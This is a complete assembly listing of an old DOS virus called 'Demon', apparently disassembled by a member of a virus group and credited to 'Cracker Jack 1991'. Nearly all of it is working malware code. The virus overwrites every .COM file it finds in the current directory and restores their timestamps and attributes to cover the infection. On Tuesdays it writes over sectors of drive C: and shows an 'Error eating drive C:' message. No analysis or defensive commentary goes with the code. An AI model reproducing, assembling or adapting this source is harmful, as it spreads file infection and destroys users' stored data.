DEMON
;
--------------------------------------------------------------------------
; Disassembled by FairWind / NRG , [email protected]
;
--------------------------------------------------------------------------
Tuesday = 2
Search_Rec struc
db 21 dup (?)
FileAttr db ?
FileTime dw ?
FileDate dw ?
FileSize dd ?
FileName db 13 dup (?)
Search_Rec ends
Virus segment
assume cs:Virus,ds:Virus,es:Virus,ss:Virus
org 0080h
DTA Search_Rec <>
org 0100h
Demon:
Virus_Size = Virus_End - Demon
mov dx,offset All_COM
mov ah,4eh
mov cx,110bh
int 21h
nop
jnc Infect
jmp short Check_Day
Infect: call Replicate
mov dx,offset DTA
mov ah,4fh
int 21h
nop
jnc Next_File
jmp short Check_Day
Next_File: jmp Infect
Check_Day: mov ah,2ah
int 21h
cmp al,Tuesday
je Thrash_Drive
mov ah,4ch
int 21h
Thrash_Drive: mov Counter,0
jmp Write_Sectors
Write_Sectors: mov al,Drive_C
mov cx,160
mov dx,0
mov bx,0
int 26h
inc Counter
cmp Counter,10
je Show_Msg
jne Write_Sectors
Show_Msg: mov ah,09h
mov dx,offset Virus_Msg
int 21h
mov ah,4ch
int 21h
Replicate: mov dx,offset DTA.FileName
mov ax,4300h
int 21h
mov COM_Attr,cx
nop
xor cx,cx
mov ax,4301h
int 21h
nop
mov ax,3d02h
int 21h
nop
jc Check_Day
mov bx,ax
mov ax,5700h
int 21h
nop
mov COM_Time,cx
mov COM_Date,dx
mov dx,offset Demon
mov ah,40h
mov cx,Virus_Size
int 21h
nop
mov ax,5701h
mov dx,COM_Date
mov cx,COM_Time
int 21h
mov ah,3eh
int 21h
nop
mov dx,offset DTA.FileName
mov cx,COM_Attr
mov ax,4301h
int 21h
retn
All_COM db '*.COM',0
COM_Date dw 0
COM_Time dw 0
COM_Attr dw 0
Counter db 0
Drive_C db 2
dw 0
Copyright db 'Demonhyak Viri X.X (c) by Cracker Jack 1991 (IVRL)'
dw 0
Virus_Msg db 10,13,'Error eating drive C:',10,13,'$'
Virus_End label byte
Virus ends
end Demon